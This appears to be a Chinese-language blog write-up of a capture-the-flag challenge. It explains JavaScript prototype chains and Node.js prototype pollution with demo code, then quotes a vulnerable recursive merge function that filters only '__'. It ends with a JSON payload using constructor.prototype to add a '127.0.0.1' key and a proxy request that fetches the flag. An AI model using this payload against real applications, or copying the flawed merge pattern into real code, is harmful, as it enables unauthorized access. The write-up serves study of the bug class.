知识:nodejs的原型链污染
nodejs中每一个对象都对应一个原型和构造方法,其原型也有自己的原型,以此类推,直到null。
取a.__proto__能获得a的原型
取a.constructor能获得a的构造方法
取构造方法的属性prototype能获得其原型
因此a["constructor"].prototype就是a的原型。
function Person(name) {
this.name = name;
}
var person = new Person("Alice");
console.log(person["constructor"]);
var userStorage = {
username: {
password: "password",
info: {
age: 18,
},
strategy: {
"baidu.com": true,
"google.com": false,
},
},
};
console.log(userStorage["__proto__"]);
console.log(userStorage["constructor"]);
console.log((userStorage["constructor"])["prototype"]);
原型链污染:在传入的 用于修改的键名和键值都可控时,如果能为对象的原型加上一条属性,那么访问对象时就会访问到添加的属性,达到污染效果。
var userStorage = {
username: {
password: "password",
info: {
age: 18,
},
strategy: {
"baidu.com": true,
"google.com": false,
},
},
};
console.log(userStorage["__proto__"]);
userStorage.__proto__["hello"]="world";
console.log(userStorage["hello"]);
var userStorage = {
username: {
password: "password",
info: {
age: 18,
},
strategy: {
"baidu.com": true,
"google.com": false,
},
},
};
console.log(userStorage["__proto__"]);
console.log(userStorage["constructor"]);
console.log(userStorage["username"].info.constructor);
//如果将object构造函数的原型添加属性的话,全局的变量都能访问此属性
userStorage["username"].info.constructor.prototype["127.0.0.1"]=true;
console.log(userStorage["username"]["strategy"]["127.0.0.1"]);
题目关键:
var userStorage = {
username: {
password: "password",
info: {
age: 18,
},
strategy: {
"baidu.com": true,
"google.com": false,
},
},
};
function update(dst, src) {
for (key in src) {
if (key.indexOf("__") != -1) {
continue;
}
if (typeof src[key] == "object" && dst[key] !== undefined) {
update(dst[key], src[key]);
continue;
}
dst[key] = src[key];
}
}
// under development
app.post("/user/info", (req, res) => {
if (!req.session.username) {
res.sendStatus(403);
}
update(userStorage[req.session.username].info, req.body);
res.sendStatus(200);
});
app.get("/flag", (req, res) => {
if (
req.headers.host != "127.0.0.1:3000" ||
req.hostname != "127.0.0.1" ||
req.ip != "127.0.0.1"
) {
res.sendStatus(400);
return;
}
const data = fs.readFileSync("/flag");
res.send(data);
});
目标是在userStorage.username.strategy中能访问到127.0.0.1:true
利用/user/info接口update函数的原型链污染,传入payload:
{
"constructor":{"prototype":{"127.0.0.1":true}}
}
即可修改object构造函数的原型,添加属性"127.0.0.1":true
访问?proxy=127.0.0.1:3000/flag即可。
Comments NOTHING